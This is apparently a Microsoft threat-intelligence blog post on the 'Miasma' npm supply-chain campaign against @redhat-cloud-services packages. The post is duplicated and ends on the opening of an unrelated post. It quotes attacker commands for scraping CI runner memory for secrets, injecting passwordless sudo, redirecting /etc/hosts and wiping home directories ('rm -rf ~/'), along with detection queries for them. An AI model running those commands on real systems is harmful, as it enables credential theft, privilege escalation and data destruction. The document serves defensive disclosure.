rule-components4.7.2, 4.7.3, 4.7.5
frontend-components-remediations4.9.2, 4.9.3, 4.9.5
frontend-components-translations4.4.1, 4.4.2, 4.4.4
vulnerabilities-client2.1.9, 2.1.11
frontend-components-advisor-components3.8.2, 3.8.4, 3.8.6
entitlements-client4.0.11, 4.0.12, 4.0.14
chrome2.3.1, 2.3.2, 2.3.4
notifications-client6.1.4, 6.1.5, 6.1.7
compliance-client4.0.3, 4.0.4, 4.0.6
sources-client3.0.10, 3.0.11, 3.0.13
integrations-client6.0.4, 6.0.5, 6.0.7
frontend-components-testing1.2.1, 1.2.2, 1.2.4
remediations-client4.0.4, 4.0.5, 4.0.7
insights-client4.0.4, 4.0.5, 4.0.7
topological-inventory-client3.0.10, 3.0.11, 3.0.13
config-manager-client5.0.4, 5.0.5, 5.0.7
hcc-pf-mcp0.6.1, 0.6.2, 0.6.4
quickstarts-client4.0.11, 4.0.12, 4.0.14
patch-client4.0.4, 4.0.5, 4.0.7
hcc-feo-mcp0.3.1, 0.3.2, 0.3.4
hcc-kessel-mcp0.3.1, 0.3.2, 0.3.4

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @ redhat-cloud-services / packages.
  • Identify systems that installed or built affected package versions during the suspected exposure window.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts.
  • While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Audit organization and personal GitHub account for public repositories with the description “Miasma: The Spreading Blight” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
  • Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments. Use Microsoft Defender Vulnerability Management to search for redhat-cloud-services packages across your estate.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:JS/ShaiWorm.DAW!MTB
– Trojan:JS/ObfusNpmJs

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior – Suspicious installation of Bun runtime

Microsoft Defender XDR:
– Suspicious file creation in temporary directory by node.exe
– Suspicious Bun execution from Node.js process

Execution / Defense evasionFour-layer obfuscation (ROT XX)  → AES-128-GCM → string-array → custom cipher); Bun runtime download and execution to move off Node.js; process lineage nodeshbun to evade detectionMicrosoft Defender for Endpoint  
– Suspicious usage of Bun runtime  
– Suspicious installation of Bun runtime
– Suspicious Node.js process behavior
– Suspicious script execution via Bun  

Microsoft Defender for Cloud  
– Suspicious supply-chain compromise activity detected
Credential accessMulti-platform harvester targeting GitHub, npm, AWS IMDS/ECS, Azure IMDS, GCP, Vault, K8s, CircleCI; runner process-memory scraping to unmask secrets; anthropic API key theftMicrosoft Defender for Endpoint  
– Credential access attempt
– Kubernetes secrets enumeration indicative of credential access  
Microsoft Defender for Cloud  
– Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials  

Microsoft Defender for Identity  
– Anomalous token request patterns  
– Suspicious enumeration of organizational secrets
ExfiltrationPublic GitHub repo creation under victim’s account with stolen credential JSON; Git Data API commits to non-protected branches; domain-sender fallback to (dormant) api.anthropic.comMicrosoft Defender for Cloud Apps  
– Suspicious GitHub API activity (repo creation, commit patterns)  
– Unusual data volume in commits  
– Authentication from unusual IP/location  
Impact / Worm propagationnpm OIDC token exchange republishing; forged Sigstore/SLSA provenance; self-injection (.github/setup.js) into victim repos on non-protected branchesMicrosoft Defender for Cloud Apps  
– Suspicious npm package republish via OIDC   – Anomalous use of bypass_2fa parameter  
– Packages publish from unusual location/time    

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate. 

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply-chain compromise.

Bun execution from temporary directories

DeviceProcessEvents
| where FileName == "bun" or ProcessCommandLine has "bun run"
| where FolderPath startswith "/tmp/" or FolderPath startswith @"C:\Users\*\AppData\Local\Temp"
| project Timestamp, DeviceName, InitiatingProcessFileName, 
    ProcessCommandLine, FolderPath, AccountName
| sort by Timestamp desc

Bun execution from temporary directory (CloudProcessEvents)

CloudProcessEvents
| where Timestamp > ago(7d)
| where ProcessName =~ "bun"
   or ProcessCommandLine has "bun run"
| where FolderPath startswith "/tmp/"
   or ProcessCommandLine matches regex @"/tmp/[^ ]*bun"
| project Timestamp, TenantId, AzureResourceId,
          KubernetesNamespace, KubernetesPodName,
          ContainerName, ContainerImageName, ContainerId,
          AccountName,
          ProcessName, FolderPath, ParentProcessName, ProcessCommandLine,
          UpperLayer  = tostring(AdditionalFields.UpperLayer),
          DriftAction = tostring(AdditionalFields.DriftAction),
          Memfd       = tostring(AdditionalFields.Memfd)
| sort by Timestamp desc

Bun download activity

CloudProcessEvents
| where Timestamp > ago(7d)
| where ProcessName in~ ("curl","wget")
| where ProcessCommandLine matches regex
        @"https?://[^\s""']*?(github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(linux|darwin|windows)|/bun-(linux|darwin|windows)-(x64|aarch64|arm64)\.zip)"
| extend BunUrl = extract(
        @"(https?://[^\s""']*?(?:github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(?:linux|darwin|windows)|/bun-(?:linux|darwin|windows)-(?:x64|aarch64|arm64)\.zip)[^\s""']*)",
        1, ProcessCommandLine),
         OutputPath = extract(@"-[oO]\s+[""']?(\S+?)[""']?(\s|$)", 1, ProcessCommandLine)
| project Timestamp, TenantId, AzureResourceId,
          KubernetesNamespace, KubernetesPodName,
          ContainerImageName, ContainerId,
          ProcessName, ParentProcessName, ParentProcessId,
          BunUrl, OutputPath, ProcessCommandLine,
          UpperLayer = tostring(AdditionalFields.UpperLayer)
| sort by Timestamp desc

npm → Node → Bun process chain

DeviceProcessEvents
| where InitiatingProcessFileName in ("node", "node.exe")
| where FileName == "bun" or FileName == "bun.exe"
| join kind=inner (
    DeviceProcessEvents
    | where InitiatingProcessFileName in ("npm", "npm.cmd")
    | where FileName in ("node", "node.exe")
) on DeviceId, $left.InitiatingProcessId == $right.ProcessId
| project Timestamp, DeviceName, AccountName,
    NpmCommandLine = ProcessCommandLine1,
    BunCommandLine = ProcessCommandLine

Cloud metadata endpoint access from build processes

DeviceNetworkEvents
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| where InitiatingProcessFileName in ("node", "node.exe", "bun", "bun.exe")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine

GitHub repository creation activity

CloudAppEvents
| where ActionType == "CreateRepository" or RawEventName == "repo.create"
| where Application == "GitHub"
| where AccountType == "ServiceAccount" or ActorType has "Integration"
| project Timestamp, AccountDisplayName, ActionType, RawEventName,
    IPAddress, City, CountryCode

Process memory access (runner scraping)

DeviceProcessEvents
| where FileName == "grep"
| where ProcessCommandLine has_all ("value", "isSecret\":true")

npm token enumeration

DeviceNetworkEvents
| where RemoteUrl has "registry.npmjs.org/-/npm/v1/tokens"
    or RemoteUrl has "registry.npmjs.org/-/whoami"
| project Timestamp, DeviceName, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine

Linux CI runner detection (process tree)

# For Linux runners not managed by Defender, use these shell commands:
# Detect: npm preinstall spawning bun from /tmp
ps aux | grep -E '/tmp/b-[a-z0-9]+/bun'
# Detect: payload writes to /tmp/p*.js
inotifywait -m /tmp -e create | grep '^/tmp/p.*\.js$'

Indicators of compromise (IOC)

IndicatorTypeDescription
@ redhat-cloud-servicesPackage scope  All packages maintained by the @redhat-cloud-service account were compromised.
Index.jsFile nameMalicious script or dropped file
396cac9e457ec54ff6d3f6311cb5cc1da8054d019ce3ffa1de5741506c7a4ea4Sha256Index.js (from redhat-cloud-services/remediations-client)
d8d170af3de17bb9b217c52aaaffdf9395f35ef015a57ef676e406c121e5e223Sha256index.js (from @redhat-cloud-services/frontend-components-advisor-components-3.8.2)
f0641e053e81f0d01fa46db35a83e0a34494886503086866d956d14e81fd3e1cSha256index.js (from @redhat-cloud-services/hcc-kessel-mcp-0.3.4)
d5a97614d5319ce9c8e01fa0b4eb06fb5b9e54fa13b23d718174a1546444123bSha256index.js (from @redhat-cloud-services/frontend-components-testing-1.2.4)
f88258e21592084a2f93a572ade8f9b91c0cd0e242f5cf6121ed7bad0f7bdd1fSha256index.js (from @redhat-cloud-services/frontend-components-notifications-6.9.3)
25e121e3b7d300c0d0075b33e5eca39a3e6a659fb9cfee52b70ef71686628f1bSha256index.js (from @redhat-cloud-services/chrome-2.3.4)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign appeared first on Microsoft Security Blog.

Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign

Microsoft Threat Intelligence identified a large-scale npm supply chain attack affecting 32 maliciously modified packages across more than 90 versions under the @redhat-cloud-services npm scope. The compromise originated from the upstream RedHatInsights/javascript-clients Continuous Integration and Continuous Delivery (CI/CD) pipeline, allowing attackers to publish trojanized packages through the legitimate GitHub Actions OpenID Connect (OIDC) publishing workflow. As a result, the malicious packages carried authentic provenance signatures while embedding the campaign marker “Miasma: The Spreading Blight.”

Once installed, the trojanized packages triggered an npm preinstall hook that executed a heavily obfuscated 4.29 MB dropper script. Through multiple layers of obfuscation and encryption, the malware downloaded the Bun JavaScript runtime and launched a secondary payload designed to harvest credentials from GitHub, npm, Amazon Web Service (AWS), Azure, Google Cloud Platform (GCP), HashiCorp Vault, Kubernetes, and developer systems. The malware also attempted to propagate by compromising additional maintainer packages and, in some scenarios, could destroy the maintainer’s home directory.

The payload operated across Linux, macOS, and Windows by dynamically downloading the correct Bun runtime for each platform, although Linux CI/CD runners appeared to be the primary target. On developer systems, the malware stole Secure Shell (SSH) keys, command-line interface (CLI) credentials, browser and wallet data, while in CI/CD environments it scraped GitHub Actions runner memory for secrets, escalated privileges using passwordless sudo, and republished poisoned packages with forged Supply-chain Levels for Software Artifacts (SLSA) provenance to continue downstream propagation. Microsoft shared its findings with the npm team, leading to the removal of affected repositories and the implementation of additional protections on the @redhat-cloud-services namespace to prevent unauthorized publishing.

Attack chain overview

Figure 1. End-to-end attack chain from the hijacked trusted-publisher flow through credential theft, exfiltration, and worm propagation across maintainers.

At a high level, the malware payload progresses through 10 phases:

  • Delivery and execution: The infection begins automatically during npm install, where the malicious preinstall hook executes node index.js without requiring user interaction.
  • Staged unpacking: The payload is unpacked through multiple decoding layers, including several ROT (rotate)-based obfuscation variants followed by AES-128-GCM decryption. The malware then downloads the Bun runtime and detonates the final payload.
  • Environment gating: The malware validates the execution environment before continuing. It terminates execution on systems configured with few regions in locale settings and can optionally restrict execution to CI/CD environments only.
  • Defense evasion: The malware attempts to neutralize security controls
  • Credential access: The malware harvests secrets and authentication tokens from GitHub, npm, major cloud providers, HashiCorp Vault, and Kubernetes environments, including scraping sensitive data directly from CI runner process memory.
  • Privilege escalation: It installs a passwordless sudo rule to obtain elevated privileges and maintain deeper system control.
  • Persistence: The malware continuously monitors stolen tokens and prepares secondary-stage payload deployment for long-term access.
  • Exfiltration: Stolen data is transmitted using three separate command-and-control (C2) channels, including abuse of GitHub infrastructure as an exfiltration mechanism.
  • Self-propagation: The malware republishes packages owned by the compromised maintainer using forged provenance metadata, effectively allowing the threat to spread like a worm across trusted package ecosystems.
  • Destructive tripwire: If the malware detects interaction with a planted decoy token, it triggers a destructive fail-safe command (rm -rf ~/) intended to wipe the victim’s home directory.

The payload replaces the legitimate index.js with a single-line obfuscated script.

Obfuscation

Stage 0 – Malicious preinstall trigger: The attack begins in package.json, where a weaponized preinstall hook automatically executes during npm install, allowing the malware to run through both direct and transitive dependency installation. The modified packages also replaced the original index.js while leaving source-map metadata unchanged, indicating probable release-pipeline tampering.

Figure 2. The weaponized package.json. The preinstall hook runs the 4.29 MB index.js dropper automatically on install.

Stage 1 – Multi-layer JavaScript obfuscation: The 4.29 MB index.js dropper uses layered obfuscation, beginning with a large character-code array reconstructed at runtime, decoded through a ROT-XX (Caesar cipher) transformation, and dynamically executed via eval().

Figure 3. The ROT-XX character-code outer wrapper.

Stage 2 – AES-encrypted payloads and Bun runtime abuse: The next layer decrypts two AES-128-GCM encrypted blobs: one downloads the Bun runtime from official Bun infrastructure, while the second contains the primary payload. The malware then executes the payload via Bun, creating an unusual process chain (node → shell → bun → payload) designed to evade Node-focused monitoring and detections.

Figure 4. AES-128-GCM decryption of the two embedded blobs and the Bun-based second-stage execution.

Stage 3 – Obfuscator.io string-array protection: The Bun-executed payload is additionally protected using Obfuscator.io techniques, including rotated string arrays, decoder functions, and hundreds of alias wrappers that conceal nearly every string and identifier from static analysis.

Figure 5. Static resolution of the obfuscator.io string array.

Stage 4 – Custom cryptographic string cipher: Sensitive strings remain protected behind a bespoke encryption routine that derives keys using PBKDF2-HMAC-SHA-256 with 200,000 iterations, followed by multiple SHA-256-seeded permutation and XOR stages, significantly complicating reverse engineering and static extraction.

Figure 6. The custom PBKDF2(200,000)+permutation cipher and the recovered plaintext constants.

Credential theft

The payload targets secrets across multiple providers:

  • GitHub: Validates token/scopes, enumerates repos, reads Actions/org secrets, uses GraphQL for branch/history, and steals ACTIONS_RUNTIME_TOKEN + ACTIONS_ID_TOKEN_REQUEST_TOKEN.
  • npm: Validates via /-/whoami, exchanges OIDC token for publish rights, and searches maintainer-owned packages for poisoning targets.
  • AWS: Pulls Identity and Access Management (IAM) credentials via Instance Metadata Service (IMDS) and Elastic Container Service (ECS) metadata, plus Secrets Manager access.
  • Azure: Collects IMDS OAuth2 tokens for management.azure.com, graph.microsoft.com, and Key Vault (*.vault.azure.net).
  • GCP: Harvests metadata.google.internal service-account tokens, Secret Manager, and Resource Manager access.
  • Vault/K8s: Probes Vault (127.0.0.1:8200) across many token paths; reads Kubernetes Service Account (SA) token and namespace secrets.
  • CI & Local : Steals CIRCLE_TOKEN; exfiltrates secrets from SSH/AWS/npm/PyPI/git/env/gcloud/kube/docker, browser data, and wallet files (*.wallet, wallet.dat).
Figure 7. The multi-platform credential harvester recovered from the decrypted payload.

Runner memory scraping

The payload locates the GitHub Actions Runner.Worker PID using /proc scanning, then extracts runtime secrets using the following:

// Locates Runner.Worker PID via /proc
'findRunnerWorkerPIDLinux'
// Scans /proc//cmdline for "Runner.Worker"
 
// Extracts secrets from process memory
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u

This activity bypasses normal secret masking by reading secrets directly from runner process memory.

Privilege escalation

The payload performs the following actions to escalate its privileges:

  • Injects sudoers rule through bind mount: echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner
  • Modifies /etc/hosts for DNS redirection
// Injects passwordless sudo via /etc/sudoers.d bind mount at /mnt
echo 'runner ALL=(ALL) NOPASSWD:ALL' > 
 && chmod 0440 /mnt/runner
 
// Neutralize Security product monitoring 
sudo sh -c "echo '127.0.0.1 ' >> /etc/hosts"
 
// Validates sudo access before operations
sudo -n true

Exfiltration

The malware abuses GitHub and victim-owned assets instead of a single easy-to-block C2 endpoint:

Channel A (victim-owned repo drop): Creates a public repo in the victim’s GitHub account (“Miasma: The Spreading Blight”) and commits stolen credential JSON to results/<timestamp>-<counter>.json. Repo names are randomized (adjective-creature-<0–99999>), spreading indicators.

Channel B (code propagation): Injects its own source as .github/setup.js into non-protected branches across victim-owned repos via Git Data API (blob → tree → commit → ref update). Skips protected/default branches and common bot/release branches; uses chore: update dependencies [skip ci] with spoofed github-actions@github.com.

Channel C (dormant HTTPS sender): Includes a disabled POST path to api.anthropic.com:443/v1/api (noop: true in this sample). The same domain is used to validate stolen Anthropic keys (for example, ~/.claude.json), indicating a swappable live exfiltration path.

C2 is not tied to one account; it rotates across a pool of 16 attacker-controlled GitHub accounts per session. Stolen tokens are double-Base64 encoded in transit, and traffic is masked with python-requests/2.31.0 user-agent spoofing

Propagation and persistence

The malware spreads across repositories while maintaining access through credential theft, supply-chain forgery, and destructive safeguards:

  • Enumerates /user/repos and /user/orgs to spread into additional repositories
  • Installs Bun runtime, executes second-stage payload using bun run .claude/
  • Deploys token monitor for ongoing credential capture
  • Forges SLSA provenance attestations through Sigstore (Fulcio or Rekor) to appear legitimate
  • Plants a decoy honeytoken (IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner); triggering/revoking it can invoke a wiper routine (rm -rf ~/ and ~/Documents)

Impact and blast radius

This attack has a wide blast radius, affecting packages, credentials, and downstream systems.

  • Direct compromise of @ redhat-cloud-services packages with broad ecosystem adoption
  • Amplification through downstream dependencies into thousands of projects
  • Cascading risk: stolen npm tokens enable further package poisoning, stolen GitHub tokens enable repo manipulation, and stolen AWS credentials enable cloud access
  • SLSA provenance forgery erodes trust in supply chain attestation frameworks

Campaign scope

Our investigation uncovered the following affected packages and versions.

Package (@redhat-cloud-services/…)Malicious versions
types3.6.1, 3.6.2, 3.6.4
frontend-components-utilities7.4.1, 7.4.2, 7.4.4
frontend-components7.7.2, 7.7.3, 7.7.5
rbac-client9.0.3, 9.0.4, 9.0.6
javascript-clients-shared2.0.8, 2.0.9, 2.0.11
frontend-components-config-utilities4.11.2, 4.11.3, 4.11.5
frontend-components-notifications6.9.2, 6.9.3, 6.9.5
tsc-transform-imports1.2.2, 1.2.4, 1.2.6
frontend-components-config6.11.3, 6.11.4, 6.11.6
eslint-config-redhat-cloud-services3.2.1, 3.2.2, 3.2.4
host-inventory-client5.0.3, 5.0.4, 5.0.6
rule-components4.7.2, 4.7.3, 4.7.5
frontend-components-remediations4.9.2, 4.9.3, 4.9.5
frontend-components-translations4.4.1, 4.4.2, 4.4.4
vulnerabilities-client2.1.9, 2.1.11
frontend-components-advisor-components3.8.2, 3.8.4, 3.8.6
entitlements-client4.0.11, 4.0.12, 4.0.14
chrome2.3.1, 2.3.2, 2.3.4
notifications-client6.1.4, 6.1.5, 6.1.7
compliance-client4.0.3, 4.0.4, 4.0.6
sources-client3.0.10, 3.0.11, 3.0.13
integrations-client6.0.4, 6.0.5, 6.0.7
frontend-components-testing1.2.1, 1.2.2, 1.2.4
remediations-client4.0.4, 4.0.5, 4.0.7
insights-client4.0.4, 4.0.5, 4.0.7
topological-inventory-client3.0.10, 3.0.11, 3.0.13
config-manager-client5.0.4, 5.0.5, 5.0.7
hcc-pf-mcp0.6.1, 0.6.2, 0.6.4
quickstarts-client4.0.11, 4.0.12, 4.0.14
patch-client4.0.4, 4.0.5, 4.0.7
hcc-feo-mcp0.3.1, 0.3.2, 0.3.4
hcc-kessel-mcp0.3.1, 0.3.2, 0.3.4

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of affected @ redhat-cloud-services / packages.
  • Identify systems that installed or built affected package versions during the suspected exposure window.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts.
  • While GitHub team has already invalidated all the npm tokens that had write access and 2FA bypass, Microsoft Defender still recommends rotating credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed in affected build or developer environments.
  • Audit organization and personal GitHub account for public repositories with the description “Miasma: The Spreading Blight” or other unexpected repositories created during the exposure window, and revoke any GitHub tokens that might have been implicated.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity.
  • Review npm package lockfiles, build logs, and artifact provenance for evidence of compromised package versions.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments. Use Microsoft Defender Vulnerability Management to search for redhat-cloud-services packages across your estate.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

TacticObserved activityMicrosoft Defender coverage
Initial access / ExecutionSuspicious script execution during npm install or package lifecycle activityMicrosoft Defender Antivirus
– Trojan:JS/ShaiWorm.DAW!MTB
– Trojan:JS/ObfusNpmJs

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior – Suspicious installation of Bun runtime

Microsoft Defender XDR:
– Suspicious file creation in temporary directory by node.exe
– Suspicious Bun execution from Node.js process

Execution / Defense evasionFour-layer obfuscation (ROT XX)  → AES-128-GCM → string-array → custom cipher); Bun runtime download and execution to move off Node.js; process lineage nodeshbun to evade detectionMicrosoft Defender for Endpoint  
– Suspicious usage of Bun runtime  
– Suspicious installation of Bun runtime
– Suspicious Node.js process behavior
– Suspicious script execution via Bun  

Microsoft Defender for Cloud  
– Suspicious supply-chain compromise activity detected
Credential accessMulti-platform harvester targeting GitHub, npm, AWS IMDS/ECS, Azure IMDS, GCP, Vault, K8s, CircleCI; runner process-memory scraping to unmask secrets; anthropic API key theftMicrosoft Defender for Endpoint  
– Credential access attempt
– Kubernetes secrets enumeration indicative of credential access  
Microsoft Defender for Cloud  
– Sha1-Hulud Campaign Detected: Possible command injection to exfiltrate credentials  

Microsoft Defender for Identity  
– Anomalous token request patterns  
– Suspicious enumeration of organizational secrets
ExfiltrationPublic GitHub repo creation under victim’s account with stolen credential JSON; Git Data API commits to non-protected branches; domain-sender fallback to (dormant) api.anthropic.comMicrosoft Defender for Cloud Apps  
– Suspicious GitHub API activity (repo creation, commit patterns)  
– Unusual data volume in commits  
– Authentication from unusual IP/location  
Impact / Worm propagationnpm OIDC token exchange republishing; forged Sigstore/SLSA provenance; self-injection (.github/setup.js) into victim repos on non-protected branchesMicrosoft Defender for Cloud Apps  
– Suspicious npm package republish via OIDC   – Anomalous use of bypass_2fa parameter  
– Packages publish from unusual location/time    

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate. 

Advanced hunting

The following KQL queries can be used in Microsoft Defender XDR Advanced Hunting to identify potential exposure to this supply-chain compromise.

Bun execution from temporary directories

DeviceProcessEvents
| where FileName == "bun" or ProcessCommandLine has "bun run"
| where FolderPath startswith "/tmp/" or FolderPath startswith @"C:\Users\*\AppData\Local\Temp"
| project Timestamp, DeviceName, InitiatingProcessFileName, 
    ProcessCommandLine, FolderPath, AccountName
| sort by Timestamp desc

Bun execution from temporary directory (CloudProcessEvents)

CloudProcessEvents
| where Timestamp > ago(7d)
| where ProcessName =~ "bun"
   or ProcessCommandLine has "bun run"
| where FolderPath startswith "/tmp/"
   or ProcessCommandLine matches regex @"/tmp/[^ ]*bun"
| project Timestamp, TenantId, AzureResourceId,
          KubernetesNamespace, KubernetesPodName,
          ContainerName, ContainerImageName, ContainerId,
          AccountName,
          ProcessName, FolderPath, ParentProcessName, ProcessCommandLine,
          UpperLayer  = tostring(AdditionalFields.UpperLayer),
          DriftAction = tostring(AdditionalFields.DriftAction),
          Memfd       = tostring(AdditionalFields.Memfd)
| sort by Timestamp desc

Bun download activity

CloudProcessEvents
| where Timestamp > ago(7d)
| where ProcessName in~ ("curl","wget")
| where ProcessCommandLine matches regex
        @"https?://[^\s""']*?(github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(linux|darwin|windows)|/bun-(linux|darwin|windows)-(x64|aarch64|arm64)\.zip)"
| extend BunUrl = extract(
        @"(https?://[^\s""']*?(?:github\.com/oven-sh/bun/releases|release-assets\.githubusercontent\.com/[^\s""']*?bun-(?:linux|darwin|windows)|/bun-(?:linux|darwin|windows)-(?:x64|aarch64|arm64)\.zip)[^\s""']*)",
        1, ProcessCommandLine),
         OutputPath = extract(@"-[oO]\s+[""']?(\S+?)[""']?(\s|$)", 1, ProcessCommandLine)
| project Timestamp, TenantId, AzureResourceId,
          KubernetesNamespace, KubernetesPodName,
          ContainerImageName, ContainerId,
          ProcessName, ParentProcessName, ParentProcessId,
          BunUrl, OutputPath, ProcessCommandLine,
          UpperLayer = tostring(AdditionalFields.UpperLayer)
| sort by Timestamp desc

npm → Node → Bun process chain

DeviceProcessEvents
| where InitiatingProcessFileName in ("node", "node.exe")
| where FileName == "bun" or FileName == "bun.exe"
| join kind=inner (
    DeviceProcessEvents
    | where InitiatingProcessFileName in ("npm", "npm.cmd")
    | where FileName in ("node", "node.exe")
) on DeviceId, $left.InitiatingProcessId == $right.ProcessId
| project Timestamp, DeviceName, AccountName,
    NpmCommandLine = ProcessCommandLine1,
    BunCommandLine = ProcessCommandLine

Cloud metadata endpoint access from build processes

DeviceNetworkEvents
| where RemoteIP in ("169.254.169.254", "169.254.170.2")
| where InitiatingProcessFileName in ("node", "node.exe", "bun", "bun.exe")
| project Timestamp, DeviceName, RemoteIP, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine

GitHub repository creation activity

CloudAppEvents
| where ActionType == "CreateRepository" or RawEventName == "repo.create"
| where Application == "GitHub"
| where AccountType == "ServiceAccount" or ActorType has "Integration"
| project Timestamp, AccountDisplayName, ActionType, RawEventName,
    IPAddress, City, CountryCode

Process memory access (runner scraping)

DeviceProcessEvents
| where FileName == "grep"
| where ProcessCommandLine has_all ("value", "isSecret\":true")

npm token enumeration

DeviceNetworkEvents
| where RemoteUrl has "registry.npmjs.org/-/npm/v1/tokens"
    or RemoteUrl has "registry.npmjs.org/-/whoami"
| project Timestamp, DeviceName, RemoteUrl,
    InitiatingProcessFileName, InitiatingProcessCommandLine

Linux CI runner detection (process tree)

# For Linux runners not managed by Defender, use these shell commands:
# Detect: npm preinstall spawning bun from /tmp
ps aux | grep -E '/tmp/b-[a-z0-9]+/bun'
# Detect: payload writes to /tmp/p*.js
inotifywait -m /tmp -e create | grep '^/tmp/p.*\.js$'

Indicators of compromise (IOC)

IndicatorTypeDescription
@ redhat-cloud-servicesPackage scope  All packages maintained by the @redhat-cloud-service account were compromised.
Index.jsFile nameMalicious script or dropped file
396cac9e457ec54ff6d3f6311cb5cc1da8054d019ce3ffa1de5741506c7a4ea4Sha256Index.js (from redhat-cloud-services/remediations-client)
d8d170af3de17bb9b217c52aaaffdf9395f35ef015a57ef676e406c121e5e223Sha256index.js (from @redhat-cloud-services/frontend-components-advisor-components-3.8.2)
f0641e053e81f0d01fa46db35a83e0a34494886503086866d956d14e81fd3e1cSha256index.js (from @redhat-cloud-services/hcc-kessel-mcp-0.3.4)
d5a97614d5319ce9c8e01fa0b4eb06fb5b9e54fa13b23d718174a1546444123bSha256index.js (from @redhat-cloud-services/frontend-components-testing-1.2.4)
f88258e21592084a2f93a572ade8f9b91c0cd0e242f5cf6121ed7bad0f7bdd1fSha256index.js (from @redhat-cloud-services/frontend-components-notifications-6.9.3)
25e121e3b7d300c0d0075b33e5eca39a3e6a659fb9cfee52b70ef71686628f1bSha256index.js (from @redhat-cloud-services/chrome-2.3.4)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Preinstall to persistence: Inside the Red Hat npm Miasma credential-stealing campaign appeared first on Microsoft Security Blog.

Malicious npm packages abuse dependency confusion to profile developer environments

Microsoft Threat Intelligence has uncovered an active supply chain attack involving malicious npm packages registered under organizational scopes that mirror real internal corporate namespaces, employing dependency confusion technique to deploy an obfuscated reconnaissance payload.

